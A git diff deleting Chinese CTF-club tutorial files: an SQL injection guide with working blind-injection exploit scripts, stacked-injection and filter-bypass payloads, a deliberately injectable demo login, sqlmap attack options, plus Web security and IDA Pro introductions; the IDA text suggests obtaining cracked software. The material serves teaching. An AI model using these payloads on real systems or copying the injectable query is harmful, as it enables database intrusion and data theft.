语句为假,这个条件为假的查询就不成立,查询的结果也为空了 - -从上面这个例子里我们就可以得出当前 MySQL 为 MySQL 5 - -如此一来我们就可以通过枚举爆破得到数据库名,表名,列名,进而得到数据库中存储的数据了 - -其中关键的语句如下 - -```sql -if(DATABASE() rlike '^{exp}',1,0) # 获取数据库名 -if((SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) rlike '^{exp}',1,0) # 获取表名与字段名 -if((SELECT binary GROUP_CONCAT(secret_string) FROM secret) rlike '^{exp}',1,0) # 获取存储的数据 -``` - -完整 exp 如下 - -```python -from mysqli_invisible_bool import * -import string -import io -import sys - -def escape_string(c): - return "\\" + c if c in ".+*" else c - -def exp(): - payload_template = "Liki4' AND if({exp},1,0);#" - space = string.ascii_letters + string.digits + ' _:,$.' - - exp_template = "@@version RLIKE '^{c}'" - exp_template = "DATABASE() RLIKE '^{c}'" - exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'" - exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'" - - print(exp_template) - - Flag = True - - data = "" - - while Flag: - ori_stdout = sys.stdout - for c in space: - payload = payload_template.format(exp=exp_template.format(c=data+c)) - sys.stdin = io.StringIO(payload + '\n123\n') - res = sys.stdout = io.StringIO() - main() - output = str(res.getvalue()) - if "failed" in output: - continue - if c == "$": - Flag = False - break - if "success" in output: - data += c - break - sys.stdout = ori_stdout - if Flag: - print(data, end="\r") - else: - print(data) - -if __name__ == "__main__": - exp() -``` - -![](https://cdn.xyxsw.site/boxcnXyMaLh26lkNuAPiQVHuaNg.png) - -#### 时间盲注 - -时间盲注的场景和原理与布尔盲注类似,都是在没有回显查询结果的时候使用的 - -能用布尔盲注的地方一般都能用时间盲注,但能用时间盲注的地方不一定能用布尔盲注 - -有的场景在完全没有回显,甚至没有能表示语句是否查询完成的东西存在时,时间盲注就派上用场了 - -这里可以直接沿用布尔盲注的场景 - -```python -#!/usr/bin/python -# -*- coding: UTF-8 -*- - -from sqlalchemy import create_engine -from hashlib import sha256 - -engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5) - -def query(username, password): - with engine.connect() as con: - query_exec = f"SELECT password FROM users WHERE username = '{username}'" - print(query_exec) - if con.execute(query_exec).scalar(): - passhash = con.execute(query_exec).fetchone()[0] - return passhash == sha256(password.encode()).hexdigest() - return False - -def main(): - username = input("Give me your username: ") - password = input("Give me your password: ") - print("Login success" if query(username, password) else "Login failed") - -if __name__ == "__main__": - main() -``` - -如果想要让布尔盲注不可用,我们可以做一个假设,假设我们并不知道账户的密码,也就无法通过登陆验证,这个时候就失去了布尔盲注最大的依赖,也就无法得知 if 表达式的真或假了。 - -![](https://cdn.xyxsw.site/boxcndxf4WEQQQEXspS7GwNKI6J.png) - -但,真的没办法了吗? - -在 MySQL 中存在一个延时函数 sleep(),可以延时特定的秒数 - -如果我们将 if 语句中的返回值改成延时函数会如何呢? - -当 if 语句为真时进行一个延时,当 if 语句为假时即刻返回 - -于是我们就可以通过查询进行的时间长短来判断语句是否为真了! - -完整的 exp 如下 - -```python -from mysqli_invisible_time import * -import string -import io -import sys -import signal - -def handler(signum, frame): - raise Exception("timeout") - -signal.signal(signal.SIGALRM, handler) - -def escape_string(c): - return "\\" + c if c in ".+*" else c - -def exp(): - payload_template = "Liki4' AND if({exp},SLEEP(1),0);#" - space = string.ascii_letters + string.digits + ' _:,$.' - - exp_template = "@@version RLIKE '^{c}'" - exp_template = "DATABASE() RLIKE '^{c}'" - exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'" - exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'" - - print(exp_template) - - Flag = True - - data = "" - - while Flag: - ori_stdout = sys.stdout - for c in space: - payload = payload_template.format(exp=exp_template.format(c=data+c)) - sys.stdin = io.StringIO(payload + '\n555_i_dont_know_password') - res = sys.stdout = io.StringIO() - - signal.alarm(1) - try: - main() - print("timeout") - except: - print("bingooo") - - output = str(res.getvalue()) - if "timeout" in output: - continue - if c == "$": - Flag = False - break - if "bingooo" in output: - data += c - break - sys.stdout = ori_stdout - if Flag: - print(data, end="\r") - else: - print(data) - -if __name__ == "__main__": - exp() -``` - -![](https://cdn.xyxsw.site/boxcnsStdHC5VmBylyx6S7hakEb.png) - -### 基于报错的 SQL 注入 (TODO) - -有的时候当 Web 应用虽然没有回显,但开启了 Debug 模式或者开启了显示报错的话,一旦 SQL 语句执行报错了,那么就会将错误信息显示出来,那报错的信息能否成为一种带出关键信息的回显呢? - -可以! - -让我们再对 demo 的代码做一些修改,用来探究以下如何利用报错来外带信息。 - -```python -#!/usr/bin/python -# -*- coding: UTF-8 -*- - -from sqlalchemy import create_engine, exc -from hashlib import sha256 - -engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5) - -def query(username, password): - with engine.connect() as con: - query_exec = f"SELECT password FROM users WHERE username = '{username}'" - print(query_exec) - try: - if con.execute(query_exec).scalar(): - passhash = con.execute(query_exec).fetchone()[0] - return passhash == sha256(password.encode()).hexdigest() - except exc.SQLAlchemyError as e: - print(str(e.__dict__['orig'])) # 输出捕获的错误信息 - return False - -def main(): - username = input("Give me your username: ") - password = input("Give me your password: ") - print("Login success" if query(username, password) else "Login failed") - -if __name__ == "__main__": - main() -``` - -![](https://cdn.xyxsw.site/boxcnl67uDDSIdh3J7y7Jxjk0dc.png) - -这样一来如果 SQL 语句执行报错的话,错误信息就会被打印出来 - -我收集了十个在 MySQL 中常见的可以用来进行报错注入的函数,我将他们常见的攻击手法都整理一下,放在底下供大家参考,原理和先前的有回显注入的方式并无区别。 - -关于函数的原型与定义可以翻阅 MySQL 文档 - -MySQL 5.7 doc: [https://dev.mysql.com/doc/refman/5.7/en/](https://dev.mysql.com/doc/refman/5.7/en/) - -MySQL 8.0 doc: [https://dev.mysql.com/doc/refman/8.0/en/](https://dev.mysql.com/doc/refman/8.0/en/) - -需要注意的是旧版本的某些函数在新版本中可能已经失效,具体在这里不一一列举 - -1. `floor` -2. `extractvalue` -3. `updatexml` -4. `geometrycollection` -5. `multipoint` -6. `polygon` -7. `multipolygon` -8. `linestring` -9. `multilinestring` -10. `exp` - -### 堆叠注入 - -当注入点使用的执行函数允许一次性执行多个 SQL 语句的时候,例如 PHP 中的 `multi_query`,堆叠注入即存在。堆叠注入相较于其他方式,利用的手法更加自由,不局限于原来的 SELECT 语句,而可以拓展到 INSERT、SHOW、SET、UPDATE 语句等。 - -`Liki4';INSERT INTO users VALUES ('Liki3','01848f8e70090495a136698a41c5b37406968c648ab12133e0f256b2364b5bb5');#` - -![](https://cdn.xyxsw.site/boxcnrMIc2m6oubxC86CEtw1jMe.png) - -![](https://cdn.xyxsw.site/boxcnVRdntvakiTpt7nP8JhKKfc.png) - -INSERT 语句也被成功执行了,向数据库中插入了 Liki3 的数据 - -### 二次注入 - -二次注入的原理与前面所有的注入方式一致,仅仅在于触发点不同。 - -在某些 Web 应用中,注册时对用户的输入做了良好的预处理,但在后续使用的过程中存在未做处理的注入点,此时即可能造成二次注入 - -常见的场景,例如某平台在用户注册时无法进行 SQL 注入利用,但在登陆后的用户个人信息界面进行数据查询时存在可利用的注入点。 - -那么我们在注册的时候即便无法当即触发 SQL 注入,但可以将恶意 payload 暂时写入到数据库中,这样一来当我们访问个人信息界面查询这个恶意 payload 的时候即会在可利用的注入点触发 SQL 注入。 - -## SQL 注入常见的过滤绕过方式 - -### 空格被过滤 - -1. `/*xxx*/` MySQL 行内注释 - -`SELECT/*1*/username,password/*1*/FROM/*1*/users;` - -1. `()` - -`SELECT(username),(password)FROM(users);` - -1. `%20 %09 %0a %0b %0c %0d %a0 %00` 等不可见字符 - -### 引号被过滤 - -1. 十六进制代替字符串 - -`SELECT username, password FROM users WHERE username=0x4c696b6934` - -### 逗号被过滤 - -1. `from for` - -`select substr(database(),1,1);` - -`select substr(database() from 1 for 1);` - -`select mid(database() from 1 for 1);` - -1. `join` - -`select 1,2` - -`select * from (select 1)a join (select 2)b` - -1. `like/rlike` - -`select ascii(mid(user(),1,1))=80` - -`select user() like 'r%'` - -1. `offset` - -`select * from news limit 0,1` - -`select * from news limit 1 offset 0` - -### 比较符号 `(<=>)` 被过滤 - -1. `=` 用 `like, rlike, regexp` 代替 - -`select * from users where name like 'Liki4'` - -`select * from users where name rlike 'Liki4'` - -`select * from users where name regexp 'Liki4'` - -1. `<>` 用 `greatest()、least()` - -`select * from users where id=1 and ascii(substr(database(),0,1))>64` - -`select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64` - -1. `between` - -`select * from users where id between 1 and 1;` - -### `or and xor not` 被过滤 - -1. `and = &&` -2. `or = ||` -3. `xor = |` -4. `not = !` - -### 常用函数被过滤 - -1. `hex()、bin() = ascii()` -2. `sleep() = benchmark()` -3. `concat_ws() = group_concat()` -4. `mid()、substr() = substring()` -5. `@@user = user()` -6. `@@datadir = datadir()` - -### 宽字节注入 - -在 GB2312、GBK、GB18030、BIG5、Shift_JIS 等编码下来吃掉 ASCII 字符的方法,可以用来绕过 `addslashes()` -`id=0%df%27%20union%20select%201,2,database();` - -![](https://cdn.xyxsw.site/boxcnaRtyUGC0sX3btnFIgpDCob.png) - -### information_schema 被过滤 - -在 SQL 注入中,`infromation_schema` 库的作用无非就是可以获取到 `table_schema, table_name, column_name` 这些数据库内的信息。 - -#### MySQL 5.6 的新特性 - -在 MySQL 5.5.x 之后的版本,MySQL 开始将 innoDB 引擎作为 MySQL 的默认引擎,因此从 MySQL 5.6.x 版本开始,MySQL 在数据库中添加了两张表,`innodb_index_stats` 和 `innodb_table_stats`,两张表都会存储数据库和对应的数据表。 - -因此,从 MySQL 5.6.x 开始,有了取代 `information_schema` 的表名查询方式,如下所示 - -```python -select table_name from mysql.innodb_index_stats where database_name=*database*(); -select table_name from mysql.innodb_table_stats where database_name=*database*(); -``` - -![](https://cdn.xyxsw.site/boxcnbMtjAq8osStjcSbFuIdDSc.png) - -#### MySQL 5.7 的新特性 - -由于 `performance_schema` 过于发杂,所以 MySQL 在 5.7 版本中新增了 `Sys schema` 视图,基础数据来自于 `performance_chema` 和 `information_schema` 两个库。 - -而其中有这样一个视图,`schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer`,我们可以翻阅官方文档对其的解释 - -> 查询表的统计信息,其中还包括 InnoDB 缓冲池统计信息,默认情况下按照增删改查操作的总表 I/O 延迟时间(执行时间,即也可以理解为是存在最多表 I/O 争用的表)降序排序,数据来源:performance_schema.table_io_waits_summary_by_table、sys.x$ps_schema_table_statistics_io、sys.x$innodb_buffer_stats_by_table - -其中就包含了存储数据库和对应的数据表,于是就有了如下的表名查询方式 - -```sql -select table_name from sys.schema_table_statistics_with_buffer where table_schema=*database*(); -select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=*database*(); -``` - -![](https://cdn.xyxsw.site/boxcnV68mdIQmovJwczDsOc53gc.png) - -### 无列名注入 - -在因为 `information_schema` 被过滤或其他原因无法获得字段名的时候,可以通过别名的方式绕过获取字段名的这一步骤 - -`select a,b from (select 1 as a, 2 as b union select * from users)x;` - -![](https://cdn.xyxsw.site/boxcnI3jJNlLqq4f7WqRKGEWTeh.png) - -## 超脱 MySQL 之外 (TODO) - -### 不同数据库后端的判别 - -虽然在以往的 CTF 比赛中,MySQL 的出镜率非常高,但在绝大多数的生产环境中(起码在国内),OracleDB、MSSQL 等数据库是绝对的占有率霸主。而一些大型互联网企业则可能使用的是更新的“高新技术”,例如 ClickHouse、PostgreSQL、MongoDB 等。 - -那么如何去判别一个 Web 应用的数据库后端用的是什么呢? - -这一小节就来简单地讲一讲一些针对这种情况的常见方法。 - -### 各数据库的攻击面拓展 - -### noSQL 注入 - -工具 nosqlmap - -## SQL 注入防范手段 (TODO) - -## 一些 CVE 复现 (TODO) - -### ThinkPHP SQL 注入 - -### Django SQL 注入 - -### Gorm SQL 注入 - -## 数据库注入工具 SQLMAP 及其高级使用指南 - -> 这里不讨论诸如 -u 这种简单参数 - -### 一些特殊参数 - -#### -r [文件名] - -当你从 Burp 之类的工具中发现了 数据库注入的痕迹 - -可以全选右键保存你发送有效载荷(含有 Sql 注入的语句)的明文报文 - -复制到文件中保存 - -使用 -r 后跟保存的文件 sqlmap 会自动获得发送恶意报文的神奇能力(x 其实是自动解析了) - -对你传入的报文的目标进行自动化的 sql 注入 - -#### --sql-shell - -在摸索到 数据库注入的时候 生成一个交互式的数据库注入 - -可以直接编写可执行的 sql 语句 - -例如 select "123" - -Sqlmap 会自动探寻目标的注入返回结果 减少手动编写 payload 的辛劳 - -> 尤其是写了半天发现引号对不上等等 - -#### --os-shell - -一个新手以为很牛逼但是其实很鸡肋的功能 可以获取 shell 一般是通过数据库注入获取到写文件的权限,写入 webshell 文件 的原理拿到对方机器的 shell - -可是这个玩意非常的鸡肋 - -因为 默认数据库配置不具有这种问题需要另外配置 此外环境需要支持类似动态执行的功能 例如 go 起的 web - -#### --random-agent - -一般不用 但是 sqlmap 在进行 web 的注入时会使用 sqlmap 的 User-Agent 痕迹非常明显 - -可以用这个消磨一下自己的痕迹 - -#### --second-url - -对于一些非常复杂的数据库二次注入 sqlmap 其实是没有办法的 例如需要鉴权(?) - -> 此处有待考证 - -但是对于简单的一些二次注入,可以通过这个参数获取到存在数据库注入界面的结果界面。让 sqlmap 获取到 数据库注入的结果。 - -#### --technique - -技巧 指定 sqlmap 使用的注入技术 - -有以下几种 - -- `t` 基于时间 time -- `b` 基于布尔 boolean -- `e` 基于报错 error -- `u` 联合注入 union -- `q` 内联注入 inline query -- `s` 堆叠注入 stack - -通常而言 sqlmap 在进行自动化注入尝试的时候常常是会先检测到 time 这一类注入 - -但是对于 union 和 boolean 则是最后进行检查的 - -而往往当你存在 union 或者 boolean 注入的时候,其实 time 多半也会一同存在 - -Sqlmap 很可能在接下来的 数据库注入后利用中使用耗时更为巨大的 time 注入技巧 - -这对于攻击者其实是不利的 - -那么通过这个参数去指定对应的注入技巧 可以大大减少数据库注入获取结果的时间 优化你的进攻效率 - -#### --dbms - -指定对应的数据库类型 - -Mysql mssql 之类的 sqlmap 就不会去搜索爆破其他类型的数据库 - -#### --hex - -以十六进制来进行注入的技巧 - -在数据注入的时候使用这个可以规避掉一些 WAF - -## WAF 绕过 - 将特殊的 payload 编码的脚本 - -## 自定义 Payload - 自定义你的核心攻击语句 diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.1Web安全.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.1Web安全.md deleted file mode 100644 index 4a96de8..0000000 --- a/技术资源汇总(杭电支持版)/6.计算机安全/6.1Web安全.md +++ /dev/null @@ -1,93 +0,0 @@ -# Web 入门指北 - -> 本文来自 HGAME Mini 2022 Web 入门材料,目的是为了帮助新生更好的入门 Web 安全。 - -## 0x00 前言 - -本文希望为对 Web 感兴趣的同学提供在入门方向上的指导,以便与更加平滑的入门 Web 方向的学习。 - -## 0x01 Web 安全基础 - -### Web 安全是什么 - -首先 Web 安全是 CTF 比赛一直以来都很重要的一部分,CTF 比赛目前主体还是 Jeopardy 解题模式,主要分为 Web 安全,Re 逆向工程,Pwn,Crypto 密码学,Misc 安全杂项五个方向。相比于 Re 和 Pwn 两个二进制方向,Web 安全在初期入门时门槛较低,并不需要太多对底层知识的了解,对小白也较为友好,能够比较快速的上手做题。 - -虽然 Web 安全入门门槛比较低,但是不得不承认需要学习的技术栈很多,在说起你经常听闻的 Java、Php、Go、Javascript 等种种语言之前,我们先来看看 Web 应用的发展史,理解一下 Web 应用是什么。 - -### Web 发展史 - -> 这段发展史可能有很多名字不太好懂,但是提到这一段发展史是希望你能够对 Web 技术的发展过程有个框架性的理解,如果有很多困惑的地方可以多多使用搜索引擎 - -最初的 Web 应用是静态页面,托管在 ISP(Internet Service Provider) 上,主要就是比较简单的文字,图片,当时能做的也就是简单浏览网页。而后有了 Flash 等多媒体技术,网页的功能开始逐渐丰富,音视频和网页的动态交互也让网页开始能够完成更多的事,给用户更好的体验。再随着 CGI(Common Gateway Interface) 的产生,CGI 是 Web 服务器和外部应用程序的通信接口标准,Web 服务器就可以通过 CGI 执行外部程序,再通过外部程序根据请求内容生成动态内容。再之后随着 PHP/JSP 等编程语言的加入,MVC 思想、REST(Representation State Transformation) 架构风格的产生,Web 应用开发技术也逐步变化,直到如今,Web 应用的开发技术主要分为前端和后端。**简单来说,前端就是用户直接可以看见的部分,比如说我们访问百度,百度页面上面的搜索框、按钮、logo,搜索后展示的网页文字和内容,这些都是属于前端的范畴;而后端主要是用户看不见的部分,比如在百度上搜索 Vidar-Team,会能根据搜索内容返回相关的文章,这就是后端所做的部分**。 - -### Web 应用的数据是如何交互的 - -> 非常推荐查看 MDN 文章[万维网是如何工作的](https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works)和[浏览器的工作原理](https://developer.mozilla.org/zh-CN/docs/Web/Performance/How_browsers_work)详细了解一下~ - -而 Web 应用的数据是如何交互的呢?为什么用户输入`https://vidar.club`访问协会官网后浏览器上就会呈现页面呢? - -![What happens when you visit a URL](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/1.png) - -当我们在浏览器的地址栏中输入`https://vidar.club`后,首先会做的事情是 DNS 查询,浏览器会去寻找页面资源的位置,也就是寻找这个域名对应的 ip 地址是多少。因为 ip 地址的格式为 xxx.xxx.xxx.xxx,这对于一个用户并不容易记住,因此我们用形象的域名来让用户记住网址,你看,`vidar.club`就比`1.117.117.147`这个 ip 好记太多了吧。浏览器根据域名`vidar.club`向 DNS 服务器查询对应 ip 地址,得到响应对应 ip 地址为`1.117.117.147`。 - -而当浏览器知道了服务器的 IP 地址后,就会与服务器进行 TCP 三次握手,三次握手机制是用来让两端尝试进行通信,之后为了让链接更加安全,就会进行 TLS 协商。你看我们输入的是`https://`,这表明我们使用了 https 协议进行访问,http 协议的数据传输是明文的,这并不安全,而 https 使用 ssl/tls 协议进行加密处理,这会让访问变得安全。顺带一提如果使用 http 访问协会官网也会强制使用 https 哦,可以试一试`http://vidar.club`。当三次握手和 TLS 协商完成后,我们就已经和服务器建立了安全连接啦。 - -建立安全连接后,浏览器会向服务器发送 HTTP Get 请求,请求服务器返回我们事先放在服务器上面的对应网页的内容,这个请求的内容通常是一个 HTML 文件,而当服务器受到请求后,就会使用相关的响应头和 HTML 的内容进行回复。 - -浏览器收到服务端的 200 OK 的 HTTP 响应,收到服务端发过来的 HTML 文件后,会处理 HTML 标记并且构建 DOM 树,最终就形成了你看到的页面啦。 - -HTTP 请求和响应的具体内容可以使用浏览器(推荐使用 Chrome、Firefox 或 Edge)的 F12 开发者工具进行查看,打开 f12 后选择网络并且刷新页面捕获请求,点击这个 vidar.club 就可以看到啦。 - -![Chrome 的开发者工具图 1](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/2.png) -![Chrome 的开发者工具图 1](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/3.png) - -## 0x02 Web 安全入门 - -### 我是零基础小白,从什么开始好呢? - -> 万丈高楼平地起 - -虽然在 Web 安全的技术栈中,会比较少的提及 C/C++安全的问题,更多的都是一些你经常听说的 Java、Php 等语言的安全问题,不过如果你目前是没有任何编程基础,协会也同样推荐打好基础,先好好学习 C 语言。对于没有编程基础的你,从 C 语言这样一门接近底层的高级语言开始学习可以更好学习计算机内部原理,并且学会 C 语言后有一定的编程基础,入门其他语言也绝非难事。 - -### Web 技术栈 - -首先需要明确的是,Web 安全和 Web 开发是分不开的,并不是说对安全感兴趣就不需要懂开发,恰恰相反,开发是安全的基础,如果没有开发能力,在之后学习中面对一些代码审计也会感觉到非常茫然,所以学习 Web 安全之前首要的就是先学习 Web 开发。而 Web 开发的学习路线在学长们身上大多不是很固定,有的人接触到的 Web 开发的第一门语言是 PHP,PHP 虽然在现在看来已经不是一门优秀的语言了,后端开发的主流技术栈已经是 Java 和 Go 了,但是 PHP 仍然是一门在安全学习上非常推荐的语言,有很多历史漏洞可以让大家更好的入门。也有的学长最先开始接触的是 Go/Java/Js,那如果你已经有一定 Web 开发基础,可以直接参考下面的学习路线与学习资料,如果你还没有 Web 开发基础并且认为 C 语言已经学的不错了,就可以尝试选择一门自己感兴趣的语言进行学习,并且尝试自己写一些感兴趣的 Web 应用,比如搭建一个博客,写一个 Todolist 用来记事等等,兴趣是最好的导师,一边写自己感兴趣的 Web 应用一边学习是非常不错的。 - -## 0x03 学习资料与学习路线推荐 - -- 兔兔的 sql 注入小游戏 - 招新群中的迎新机器人具有一个 blog 功能,这个 blog 功能存在一个 sql 注入的漏洞,通过漏洞查询出数据库中的 flag 可以找管理员兑换一杯奶茶哦~(支线任务 x) -- 搭建博客 - 博客可以记录自己的学习过程与经历,也可以当作一个 Web 应用开发的小练习 -- 刷题 - 如果你想一边学习 Web 开发一边做做题目,感受一下 Web 安全,可以在协会的招新训练平台上面做做题目,要是毫无头绪也可以问问学长学姐们哦~训练平台上的题目可以帮助你更好的入门 CTF! -- 学习资料 - 面对网络各式各样的学习资料,这些网站和书籍会对你入门有所帮助 - - [MDN 网络文档](https://developer.mozilla.org) - - [Web 安全学习笔记](https://websec.readthedocs.io) - - [CTF wiki](https://github.com/ctf-wiki/ctf-wiki) - - [HTML CSS 基础](https://www.w3cschool.cn/) - - JS:《JavaScript DOM 编程基础》 - - C:《C Primer Plus》 - - ::: tip 📥 - 《C Primer Plus》(第六版中文版)(216MB)附件下载 - ::: - - - PHP:《PHP 和 MySQL Web 开发》 - - Python: 《Python 从入门到实践》的入门部分 - - HTTP:《图解 HTTP》 - - 《从 0 到 1:CTFer 成长之路》 - - 《白帽子讲 Web 安全》 - - 上面提到的书协会都有哦,欢迎有空的时候来协会看书自习! -- 学习路线 - 可以根据上面提到的学习资料和协会的 2022 提前批招新标准进行个人学习路线的规划,这份 Github 上很火的[Web Roadmap](https://github.com/hideraldus13/roadmap-do-desenvolvedor-web)也可以参考一下。 - -## 0x04 最后 - -> 勿以浮沙筑高台 - -欢迎对 Web 安全感兴趣的你,如果在学习过程中遇到困难可以随时在 Vidar-Team 招新群中提问哦,祝你在 Web 安全的学习道路上越走越远~ - -`VIDAR{Web_1s_3asy_t0_st4rt!!}` diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.2.1基础工具的使用.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.2.1基础工具的使用.md deleted file mode 100644 index c43d386..0000000 --- a/技术资源汇总(杭电支持版)/6.计算机安全/6.2.1基础工具的使用.md +++ /dev/null @@ -1,303 +0,0 @@ -# 基础工具的使用 - -IDA pro(交互式反编译器专业版)是二进制安全研究人员必备的反汇编、反编译工具,功能繁多而强大,反编译结果清晰明了。 - -IDA pro 是收费软件,价格极其昂贵,一套完全版人民币 10W 左右,因此可以到各大网站下载破解版,注意到一些知名网站下载,比如吾爱破解等,防止下载的软件包含病毒。在编写此文时,IDA pro 更新到了 8.3,网上能找到的最新的版本为 7.7。本文由于版权原因,不提供下载链接。 - -## 简易使用方法 - -> 本文档仅作快速入门,更加细节的内容还请读者查阅其他资料以及多加实践。 -> -> 另外在任何使用上操作的问题,都可以在群里提问! - -### 0x00 IDA 简单介绍 - -![](https://cdn.xyxsw.site/image-20220809113855166.png) - -IDA 是一款交互式反汇编和反编译工具,其支持文件类型和文件平台丰富。 - -可静态分析也可动态调试,可以说是二进制手的吃饭工具了 - -### 0x01 启动界面 - -![](https://cdn.xyxsw.site/image-20220809114834244.png) - -```txt -NEW:打开 IDA 同时弹出对话框选择要打开的文件 -Go:单独打开 ida,打开界面将文件拖入 -Previous,或者下面的列表项:快速打开之前的的文件 -``` - -这里选择 Go 键,打开以后,将文件拖入 - -![](https://cdn.xyxsw.site/image-20220809124156697.png) - -![](https://cdn.xyxsw.site/image-20220809124408179.png) - -这里按我们的默认选项点击 OK 即可 - -### 0x02 关闭界面 - -![](https://cdn.xyxsw.site/image-20220809125554853.png) - -:::tip -第一个选项:就是不打包数据包文件,那么这些数据库文件就会分开这放。 - -第二个选项及图中选项:就是把这几个数据库文件打包为 1 个 (如.i64 文件),下次打开我们分析的文件的时候,打开这个文件即可。 - -第三个选项:不会删掉数据库文件,而是打包压缩到存储的文件里面去了。 - -下面两个选项 -第一个选项:回收垃圾,如果打包文件太大了,可以选用这个选项,清理不必要的内存 - -最后一个选项:当分析时候写错了,选中最后一个,最后一次打开的操作不保留了。(解决错误操作) -::: - -### 0x03 主界面 - IDA View&Pseudocode - -反汇编代码的图表窗口 - -![](https://cdn.xyxsw.site/image-20220809130857159.png) - - 按**空格键**切换成文本结构的反汇编 - -![](https://cdn.xyxsw.site/image-20220809130940294.png) - - 按**F5**进行反编译跳转至`Pseudocode`(伪代码) 界面 - -![](https://cdn.xyxsw.site/image-20220809131038284.png) - -然后就可以分析代码逻辑了 - -直接点击函数名可以进入到对应函数内部查看函数逻辑 - -### 0x04 主界面 - Hex View - -十六进制窗口 (不太常用) - -![](https://cdn.xyxsw.site/image-20220809132027773.png) - -### 0x05 主界面-Structures - -结构体窗口 - -![](https://cdn.xyxsw.site/image-20220809132130778.png) - -### 0x06 主界面-Enums - -枚举类型界面 - -![](https://cdn.xyxsw.site/image-20220809132242739.png) - -### 0x07 主界面-Imports - -导入表 - -可以查看当前模块用了哪些模块的哪些函数 - -![](https://cdn.xyxsw.site/image-20220809132327043.png) - -### 0x08 主界面-Exports - -导出表 - -![](https://cdn.xyxsw.site/image-20220809151050575.png) - -### 0x09 主界面-Strings - -按`Shift+F12`转到`String`界面,该操作会搜索程序中的字符串数据并展示 - -![](https://cdn.xyxsw.site/image-20220809153126737.png) - -按`Ctrl+F`后输入想要检索的字符可以快速搜索字符串 - -![](https://cdn.xyxsw.site/image-20220809153408536.png) - -### 0x0a 其他界面-Functions - -罗列了程序中用到的所有函数,包括底层调用的库的函数 - -其中一般来说`main`是程序的主要函数 - -![](https://cdn.xyxsw.site/image-20220809151328885.png) - -### 0x0b 其他界面-Output - -程序的输出信息都会展示在这里 - -其中包括插件的加载信息、插件/脚本运行时的输出等 - -另外还可以直接在下面输入 python 语句,方便在 ida 使用过程中简单的数据处理 - -![](https://cdn.xyxsw.site/image-20220809151536894.png) - -### 0x0c 其他界面 - 导航栏 - -一个二进制文件包括不同的区块,这里显示程序的不同类型数据,不同的颜色代表二进制文件中不同的块 - -![](https://cdn.xyxsw.site/image-20220809151815243.png) - -### 0x0d 常用快捷键 - -> 边用边记,多打打就会记住了! -> -> 只记录了部分 - -- `;` 为当前指令添加注释 -- `/` 在伪代码中添加注释 -- `g` 跳转到任意地址 -- `Esc` 返回到跳转前的位置 -- `n` 定义或修改名称,常用来修改函数和变量的名字 -- `A` 按照 ASCII 显示数据 -- `D` 分别按字节、字、双字来显示数据 -- `F5`反编译汇编代码,得到 C 伪代码 -- `Shift+F12` 搜索程序中的字符串 - -- `Alt+t` 搜索程序中的指令 -- `Ctrl+x` 查看变量和函数的引用 -- `Y` 修改变量/函数类型 -- `F2`快速下断点 - -### 0x0e 常用插件 - -> 具体安装和使用不在此展开了 - -- [Find Crypt](https://github.com/polymorf/findcrypt-yara) -- 寻找常用加密算法中的常数(需要安装 [yara-python](https://github.com/VirusTotal/yara-python)) -- [Keypatch](https://github.com/keystone-engine/keypatch) -- 基于 Keystone 的 Patch 二进制文件插件 -- [LazyIDA: Make your IDA Lazy!](https://github.com/P4nda0s/LazyIDA) -- 快速 Dump 内存数据 -- [Finger](https://github.com/aliyunav/Finger) -- 函数签名识别插件 -- [D810](https://gitlab.com/eshard/d810) -- 去混淆插件 - -## 0x10 IDA Python - -IDA 提供可与其交互的 IDA Python 接口,可以使用 Python 做很多的辅助操作 - -![](https://cdn.xyxsw.site/image-20220809154742462.png) - -可以参考这篇文章了解常用的接口 - -[IDA Python 常用函数 | 4nsw3r's Blog](https://4nsw3r.top/2022/02/11/IDA%20Python%20%E5%B8%B8%E7%94%A8%E5%87%BD%E6%95%B0/) - -## 0x11 IDA 动态调试 - -> 暂时只对 Windows 和 Linux 下的文件调试做介绍,Mac 和 Android 下的文件调试有待读者后续探索 - -### 调试 Windows 下的文件 - -可以先在汇编代码或伪代码界面下断点,然后`F9`选择调试器,这里直接选`Local Windows Debugger` - -![](https://cdn.xyxsw.site/image-20220809160044665.png) - -之后就可以用 F7(单步不跳过执行)/F8(单步跳过执行)/F9(继续执行,遇到断点停止) 进行调试 - -![](https://cdn.xyxsw.site/image-20220809163138453.png) - -### 调试 Linux 下的文件 - -可以先在汇编代码或伪代码界面下断点 - -![](https://cdn.xyxsw.site/image-20220809155352920.png) - -由于 Linux 下文件调试比较特殊,需要远程起一个服务器运行服务端,这里可以使用**Vmware**或者**WSL2(Windows subsystem Linux)**进行调试 - -因篇幅有限,在这里直接贴篇链接供大家学习并选择调试方式 - -- Vmware 调试 [IDA 动态调试 ELF](https://bbs.kanxue.com/thread-247830.htm) -- WSL 调试(安装好 WSL 直接运行 ida dbgsrv 目录下 linux_server 文件即可以) - -后面是一样的调试步骤 - -## 0x12 一个简单程序的分析 - -### 源代码 - -```c -#include -#include - -void change(char* str) { - for (int i = 0; i < strlen(str) ; i++) { - str[i] = str[i] - 1; - } -} - - int check(char* str){ - return strcmp(str, "ek`fzHC@^0r^m/s^b/lo0dw2c|") == 0; - } - -int main() { - char input[100]; - scanf("%100s", input); - change(input); - if (check(input)) { - printf("You are right\n"); - } - else { - printf("You are wrong\n"); - } -} -``` - 